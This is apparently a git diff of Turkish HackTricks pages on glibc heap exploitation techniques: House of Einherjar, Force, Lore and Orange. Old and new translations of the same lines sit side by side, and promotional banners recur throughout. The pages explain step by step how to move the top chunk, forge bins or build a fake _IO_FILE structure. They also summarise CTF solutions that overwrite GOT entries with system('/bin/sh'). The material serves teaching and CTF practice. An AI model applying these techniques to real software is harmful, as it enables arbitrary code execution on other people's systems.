* `B`'yi serbest bırakarak hızlı bin / Tcache'e ekleyin
* `B`'nin `fd`si üzerine yazarak, içinde `B` bulunan `D` parçasına işaret etmesini sağlayın
* Ardından, 2 malloc yapılır ve ikincisi **hedef adresi tahsis edecek**
## Referanslar ve diğer örnekler
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
* İşaretçileri sıfırlamadığınızda serbest bırakılan işaretçilere hala erişilebilir. Bu nedenle, bir parça sıralanmamış kutuya yerleştirilir ve içerdiği işaretçileri sızdırır (libc sızıntısı) ve ardından bir yeni heap sıralanmamış kutuya yerleştirilir ve aldığı işaretçiden bir heap adresi sızdırılır.
* İşaretçileri sıfırlanmadığı için serbest bırakıldıktan sonra hala verilerine erişmek mümkündür. Bu nedenle, bir parça sıralanmamış kutuya yerleştirilir ve içerdiği işaretçileri sızdırır (libc sızıntısı) ve ardından yeni bir heap sıralanmamış kutuya yerleştirilir ve aldığı işaretçiden bir heap adresi sızdırılır.
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
* `strtok`'da null bayt taşma hatası.
* Örtüşen parçalar durumu elde etmek için Einherjar Evi'ni kullanın ve Tcache zehirlenmesi ile keyfi yazma yetkisine ulaşın.
* `strtok`'daki null bayt taşma hatası.
* Örtüşen parçalar durumu elde etmek için Einherjar Evi'ni kullanın ve Tcache zehirlenmesi ile keyfi yazma ilkelini elde edin.

View file

@ -1,24 +1,25 @@
# Force Evi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
### Kod
* Bu teknik ([**burada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) yamalandı ve şu hatayı üretir: `malloc(): corrupted top size`
* Bu teknik düzeltildi ([**burada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) ve şu hatayı üretir: `malloc(): corrupted top size`
* Test etmek isterseniz [**buradan kodu**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) deneyebilirsiniz.
### Amaç
@ -27,14 +28,14 @@ HackTricks'i desteklemenin diğer yolları:
### Gereksinimler
* Başlık parçasının boyutunu üzerine yazmanızı sağlayan bir taşma (örneğin, -1).
* Başlık üst parçasının boyutunu üzerine yazmanızı sağlayan bir taşma (örneğin -1).
* Yığın tahsis boyutunu kontrol edebilme yeteneği
### Saldırı
Bir saldırgan, bir parçayı P adresine tahsis etmek için bir değeri buraya üzerine yazmaya başlar. Başlangıçta, başlık parçasının boyutunu `-1` ile üzerine yazarak (belki bir taşma ile) başlar. Bu, malloc'un Top parçasının her zaman yeterli alanı olacağından mmap'ı herhangi bir tahsis için kullanmayacağını sağlar.
Bir saldırgan, bir değeri buraya yazmak için bir parça tahsis etmek isterse, işe `-1` ile başlık üst parçasını üzerine yazarak başlar (belki bir taşma ile). Bu, malloc'un Top parçasının her zaman yeterli alanı olacağından mmap'ı herhangi bir tahsis için kullanmayacağını sağlar.
Daha sonra, top parçasının adresi ile hedef alan arasındaki mesafeyi hesaplayın. Bu, top parçasının o konuma taşınması için o boyutta bir malloc işlemi gerçekleştirileceğinden fark/kapasite kolayca hesaplanabilir.
Ardından, başlık üst parçasının adresi ile hedef alan arasındaki mesafeyi hesaplayın. Bu, başlık üst parçasını o konuma taşımak için o boyutta bir malloc işlemi gerçekleştirileceğinden fark/mesafe kolayca hesaplanabilir. Bu, farkın/boyutun nasıl kolayca hesaplanabileceğidir:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
@ -47,8 +48,8 @@ Daha sonra, top parçasının adresi ile hedef alan arasındaki mesafeyi hesapla
* req = target - old_top - 4*sizeof(long)
*/
```
Bu yüzden, `hedef - eski_üst - 4*sizeof(long)` boyutunda bir alan ayırmak (4 long, üst parçanın ve ayrıldığında yeni parçanın meta verileri nedeniyle) üst parçayı üzerine yazmak istediğimiz adrese taşıyacaktır.\
Sonra, hedef adreste bir parça almak için başka bir malloc yapın.
Bu nedenle, `hedef - eski_üst - 4*sizeof(long)` boyutunda bir alan ayırmak (4 long, üst parçanın ve ayrıldığında yeni parçanın meta verileri nedeniyle) üst parçayı üzerine yazmak istediğimiz adrese taşıyacaktır.\
Ardından, hedef adreste bir parça almak için başka bir malloc yapın.
### Referanslar ve Diğer Örnekler
@ -59,14 +60,14 @@ Sonra, hedef adreste bir parça almak için başka bir malloc yapın.
* [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
* Bu senaryonun amacı, çağrılacak bir işlevin adresini ret2win işlevinin adresine değiştirmemiz gereken bir ret2win'dir
* Binanın köşesinde, üst parçanın boyutunu değiştirmek için kötüye kullanılabilecek bir taşma var, bu -1 veya p64(0xffffffffffffffff) olarak değiştirilir
* İkili dosyanın, üst parçanın boyutunu değiştirmek için kötüye kullanılabilecek bir taşma sorunu vardır, bu da -1 veya p64(0xffffffffffffffff) olarak değiştirilir
* Daha sonra, üzerine yazılacak işaretçinin bulunduğu yere giden adres hesaplanır ve üst parçanın mevcut konumundan oraya olan fark `malloc` ile ayrılır
* Son olarak, istenen hedefi içerecek yeni bir parça ayrılır ve bu parça ret2win işlevi tarafından üzerine yazılır
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
* `Adınızı girin:` alanında, yığından bir adres sızdırmaya izin veren başlangıçta bir zayıflık vardır
* Ardından, `Org:` ve `Host:` işlevlerinde, **org adı** istendiğinde `s` işaretçisinin 64B'sini doldurmak mümkündür, bu da yığında v2 adresinin ardından gelen ve daha sonra belirtilen **ana bilgisayar adı** tarafından takip edilen bir adrestir. Daha sonra, strcpy s'nin içeriğini 64B boyutunda bir parçaya kopyalayacak, bu da **anahtar adı** içine konulan verilerle üst parçanın boyutunu **üzerine yazmak** mümkündür.
* Artık keyfi yazma mümkün olduğuna göre, `atoi`'nin GOT'u printf adresine üzerine yazıldı. `IO_2_1_stderr` adresi `%24$p` ile sızdırılabildi. Ve bu libc sızıntısı ile `atoi`'nin GOT'u tekrar `system` adresiyle üzerine yazılarak `/bin/sh` parametresiyle çağrıldı
* Ardından, `Org:` ve `Host:` işlevlerinde, **org adı** istendiğinde `s` işaretçisinin 64B'sini doldurmak mümkündür, bu da yığında v2 adresini takip eden ve daha sonra belirtilen **ana bilgisayar adını** takip eden verileri kopyalayacak olan strcpy'nin içeriğini **üst parçanın boyutunu üzerine yazmak** mümkündür.
* Artık keyfi yazma mümkün olduğundan, `atoi`'nin GOT'u printf adresine üzerine yazılmıştır. Ardından, `IO_2_1_stderr` adresi `%24$p` ile sızdırılabildi ve bu libc sızıntısı ile `atoi`'nin GOT'u tekrar `system` adresiyle üzerine yazılarak `/bin/sh` parametresiyle çağrılabildi
* [Bu diğer yazıda önerilen](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud) alternatif bir yöntem, `free`'yi `puts` ile üzerine yazmak ve ardından daha sonra serbest bırakılacak işaretçiye `atoi@got` adresini eklemektir, böylece sızdırılır ve bu sızıntı ile tekrar `atoi@got` adresi `system` ile üzerine yazılır ve `/bin/sh` ile çağrılır.
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
* Serbest bırakılan ancak işaretçi temizlenmeden tekrar kullanılmasına izin veren bir UAF vardır. Bazı okuma yöntemleri olduğundan, burada GOT'a serbest işlevine bir işaretçi yazarak bir libc adresi sızdırmak mümkündür ve ardından okuma işlevini çağırmak mümkündür.
* Daha sonra, UAF'yi kötüye kullanarak sol boşluğun boyutunu -1 ile üzerine yazmak, serbest kancaya ulaşmak için yeterince büyük bir parça ayırmak ve ardından serbest kancayı içerecek başka bir parça ayırmak için House of force kullanıldı. Ardından, kancaya `system` adresini yazın, bir parçaya `"/bin/sh"` yazın ve son olarak o dize içeriğine sahip parçayı serbest bırakın.
* Serbest bırakılan ancak işaretçi temizlenmeden tekrar kullanılmasına izin veren bir UAF vardır. Bazı okuma yöntemleri olduğundan, burada GOT'a serbest işlevine bir işaretçi yazarak bir libc adresi sızdırmak ve ardından okuma işlevini çağırmak mümkündür.
* Ardından, (UAF'yi kötüye kullanarak) sol boşluğun boyutu -1 ile üzerine yazılarak House of force kullanıldı, serbest kancaya ulaşmak için yeterince büyük bir parça ayrıldı ve ardından serbest kancayı içerecek başka bir parça ayrıldı. Ardından, kancaya `system` adresi yazılır, bir parçaya `"/bin/sh"` yazılır ve son olarak bu dize içeriğine sahip parça serbest bırakılır.

View file

@ -1,18 +1,19 @@
# House of Lore | Küçük Bin Saldırısı
# House of Lore | Small bin Attack
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
@ -21,37 +22,52 @@ HackTricks'ı desteklemenin diğer yolları:
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) adresinden kontrol edin
* Bu çalışmıyor
* Veya: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
* Bu, bazı kontrolleri atlamaya çalışsa da çalışmıyor ve hata alınıyor: `malloc(): unaligned tcache chunk detected`
* Bu, bazı kontrolleri atlamaya çalışsa da çalışmıyor ve `malloc(): unaligned tcache chunk detected` hatasını alıyor
* Bu örnek hala çalışıyor: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)&#x20;
### Amaç
* **Küçük bir parça ekleyerek sahte bir küçük parçayı yerleştirin ve ardından onu ayırabilir hale getirin**.\
* **Küçük binde sahte bir küçük parça ekleyerek onu tahsis etmek mümkün hale gelir.**\
Eklenen küçük parça, saldırganın oluşturduğu sahte parçadır ve rastgele bir konumda sahte değildir.
### Gereksinimler
* 2 sahte parça oluşturun ve bunları birbirine ve meşru parçaya bağlayın:
* `sahte0.bk` -> `sahte1`
* `sahte1.fd` -> `sahte0`
* `sahte0.fd` -> `meşru` (başka bir zayıflıktan dolayı serbest bırakılan küçük parça içindeki bir işaretçiyi değiştirmeniz gerekmektedir)
* `meşru.bk` -> `sahte0`
* 2 sahte parça oluşturun ve bunları birbirine ve küçük bindeki meşru parçaya bağlayın:
* `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (başka bir zayıflık aracılığıyla serbest bırakılan küçük bin parçasındaki bir işaretçiyi değiştirmeniz gerekir)
* `legit.bk` -> `fake0`
Böylece `sahte0`'ı tahsis edebileceksiniz.
Daha sonra `fake0`'ı tahsis edebileceksiniz.
### Saldırı
* Bir küçük parça (`meşru`) tahsis edilir, ardından üst parçayla birleşmesini önlemek için başka bir parça tahsis edilir. Daha sonra, `meşru` serbest bırakılır (onu sıralanmamış kova listesine taşır) ve daha büyük bir parça tahsis edilir, **`meşru`'yu küçük kovaya taşır.**
* Bir küçük parça (`legit`) tahsis edilir, ardından üst parçayla birleşmesini önlemek için başka bir parça tahsis edilir. Ardından, `legit` serbest bırakılır (onu sıralanmamış bin listesine taşır) ve daha büyük bir parça tahsis edilir, **`legit`'i küçük bine taşır.**
* Bir saldırgan birkaç sahte küçük parça oluşturur ve gerekli bağlantıları yaparak sağlamlık kontrollerini atlar:
* `sahte0.bk` -> `sahte1`
* `sahte1.fd` -> `sahte0`
* `sahte0.fd` -> `meşru` (başka bir zayıflıktan dolayı serbest bırakılan küçük parça içindeki bir işaretçiyi değiştirmeniz gerekmektedir)
* `meşru.bk` -> `sahte0`
* Meşru almak için bir küçük parça tahsis edilir, **`sahte0`**'ı küçük kova listesinin üstüne taşır
* Başka bir küçük parça tahsis edilir, `sahte0`'ı bir parça olarak alarak, içindeki işaretçilere okuma/yazma yapma olasılığı sağlar.
* `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (başka bir zayıflık aracılığıyla serbest bırakılan küçük bin parçasındaki bir işaretçiyi değiştirmeniz gerekir)
* `legit.bk` -> `fake0`
* `legit`'i almak için bir küçük parça tahsis edilir, **`fake0`**'ı küçük parçaların üst listesine taşır
* Başka bir küçük parça tahsis edilir, `fake0`'ı bir parça olarak alır, potansiyel olarak içindeki işaretçileri okuma/yazma izni verir.
## Referanslar
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
{% endhint %}

View file

@ -1,97 +1,100 @@
# House of Orange
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
- **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
### Kod
- Örnek bulunabilir: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)
- Saldırı tekniği bu [yamada](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) düzeltildi (2.26'dan önce çalışıyordu)
- Daha fazla yorumla aynı örnek: [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
* Örnek bulunabilir: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)
* Saldırı tekniği bu [yamada](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) düzeltildi (2.26'dan önce çalışır)
* Daha fazla yorumla aynı örnek: [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
### Amaç
- `malloc_printerr` fonksiyonunu kötüye kullanmak
* `malloc_printerr` fonksiyonunu kötüye kullanmak
### Gereksinimler
- Üst parça boyutunu üzerine yaz
- Libc ve heap sızıntıları
* Üst parça boyutunu üzerine yaz
* Libc ve heap sızıntıları
### Arka Plan
Gerekli arka plan bilgileri [**bu örneğin yorumlarından**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)** alınmıştır:**
Gerekli arka plan bilgileri [**bu örneğin**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)** yorumlarından alınabilir:**
Önceki libc sürümlerinde, `malloc_printerr` fonksiyonu çağrıldığında, `_IO_list_all` içinde depolanan `_IO_FILE` yapılarının listesini **dolaşır** ve aslında bu yapıdaki bir komut işaretçisini **çalıştırırdı**.\
Bu saldırı, **sahte bir `_IO_FILE` yapısı** oluşturacak ve bu yapının **`_IO_list_all`'a yazılmasına** neden olacak. Sonra `malloc_printerr`'ın çalışmasına neden olacak olan **`_IO_FILE`** yapılarının atlamalı tablosunda sakladığımız herhangi bir adresi **çalıştıracak**.
Önceki libc sürümlerinde, `malloc_printerr` fonksiyonu çağrıldığında, `_IO_list_all` içinde depolanan `_IO_FILE` yapılarının listesini dolaşır ve aslında bu yapıdaki bir komut işaretçisini **çalıştırırdı**.\
Bu saldırı, **sahte bir `_IO_FILE` yapısı** oluşturacak ve bu yapının `_IO_list_all`'a yazılmasına neden olacak ve `malloc_printerr`'ın çalışmasına neden olacak.\
Daha sonra, **`_IO_FILE`** yapılarının atlamalı tablosunda depolanan herhangi bir adresi **çalıştıracak** ve kod yürüteceğiz.
### Saldırı
Saldırı, **sıralanmamış parçada** **üst parçayı** elde etmekle başlar. Bu, `malloc`'u mevcut üst parça boyutundan daha büyük ancak **`mmp_.mmap_threshold`**'den (varsayılan olarak 128K) daha küçük bir boyutta çağırarak başarılır, aksi takdirde `mmap` tahsili tetiklenir. Üst parça boyutu değiştirildiğinde, **üst parça + boyutunun** sayfa hizalanmış olması ve üst parça **prev\_inuse** bitinin her zaman ayarlı olması önemlidir.
Saldırı, **sıralanmamış parçada** **üst parçayı** elde etmekle başlar. Bu, `malloc` çağrılarak başarılır; mevcut üst parça boyutundan daha büyük ancak **`mmp_.mmap_threshold`**'den (varsayılan olarak 128K) daha küçük bir boyutta. Üst parça boyutu değiştirildiğinde, **üst parça + boyutunun** sayfa hizalanmış olmasını ve üst parça **prev\_inuse** bitinin her zaman ayarlı olmasını sağlamak önemlidir.
Üst parçayı sıralanmamış parçaya almak için, üst parçayı oluşturmak için bir parça tahsis edin, üst parça boyutunu (tahsis edilen parçada taşma ile) değiştirin, böylece **üst parça + boyutunun** sayfa hizalanmış ve **prev\_inuse** biti ayarlı olacak şekilde yapın. Daha sonra, yeni üst parça boyutundan daha büyük bir parça tahsis edin. Üst parçayı sıralanmamış parçaya almak için asla `free` çağrılmaz.
Üst parçayı sıralanmamış parçada elde etmek için, üst parçayı oluşturmak için bir parça tahsis edilir, üst parça boyutu değiştirilir (tahsis edilen parçada taşma ile) böylece **üst parça + boyut** sayfa hizalanmış ve **prev\_inuse** biti ayarlı olacak şekilde. Daha sonra, yeni üst parça boyutundan daha büyük bir parça tahsis edilir. Üst parçayı sıralanmamış parçaya almak için asla `free` çağrılmaz.
Eski üst parça şimdi sıralanmamış parçada. İçindeki verileri okuyabiliyorsak (muhtemelen taşmaya neden olan bir zayıflıktan dolayı), libc adreslerini sızdırmak ve **\_IO\_list\_all** adresini almak mümkündür.
Sıralanmamış parça saldırısı, taşmayı kötüye kullanarak `topChunk->bk->fwd = _IO_list_all - 0x10` yazarak gerçekleştirilir. Yeni bir parça tahsis edildiğinde, eski üst parça bölünecek ve sıralanmamış parçaya bir işaretçi yazılacaktır. **`_IO_list_all`**'a.
Sıralanmamış parça saldırısı, taşmayı kötüye kullanarak `topChunk->bk->fwd = _IO_list_all - 0x10` yazarak gerçekleştirilir. Yeni bir parça tahsis edildiğinde, eski üst parça bölünecek ve sıralanmamış parçaya bir işaretçi yazılacaktır **`_IO_list_all`**.
Bir sonraki adım, eski üst parça boyutunu küçültmek ve küçük bir parça içine sığacak şekilde ayarlamaktır, özellikle boyutunu **0x61** olarak ayarlamaktır. Bu iki amaçla hizmet eder:
1. **Küçük Parça 4'e Ekleme**: `malloc`, sıralanmamış parçayı taradığında ve bu parçayı görürse, boyutu küçük olduğundan onu küçük parça 4'e eklemeye çalışacaktır. Bu, parçanın, _IO_list_all`'ın FD işaretçisinin konumu olan küçük parça 4 listesinin başına gelmesine neden olur, çünkü sıralanmamış parça saldırısıyla **`_IO_list_all`**'a yakın bir adres yazdık.
2. **Malloc Kontrolünü Tetikleme**: Bu parça boyutu manipülasyonu, `malloc`'un iç kontrolleri yapmasına neden olacaktır. Sahte ileri parça boyutunu kontrol ettiğinde, bu boyut sıfır olacağından bir hata tetikler ve `malloc_printerr`'ı çağırır.
1. **Küçük Parça 4'e Ekleme**: `malloc`, sıralanmamış parçayı taradığında ve bu parçayı görürse, boyutu küçük olduğundan küçük parça 4'e eklemeye çalışacaktır. Bu, parçanın, _IO_list_all'ın bir yakın adresini **`_IO_list_all`** üzerinden yazdığımız için küçük parça 4 listesinin başına gelmesine neden olur.
2. **Malloc Kontrolünü Tetikleme**: Bu parça boyutu manipülasyonu, `malloc`'ın iç kontrolleri yapmasına neden olacaktır. Sahte ileri parça boyutunu kontrol ettiğinde, bu boyut sıfır olacağından bir hata tetikler ve `malloc_printerr`'ı çağırır.
Küçük parça manipülasyonu, parçanın ileri işaretçisini kontrol etmenizi sağlar. **\_IO\_list\_all** ile çakışma, sahte **\_IO\_FILE** yapısını oluşturmak için kullanılır. Yapı, libc'de iç kontrolleri geçen `_IO_write_base` ve `_IO_write_ptr` gibi önemli alanları içerecek şekilde dikkatlice oluşturulur. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun (örneğin, `system` fonksiyonu) çalıştırılabileceği adres olarak ayarlanır.
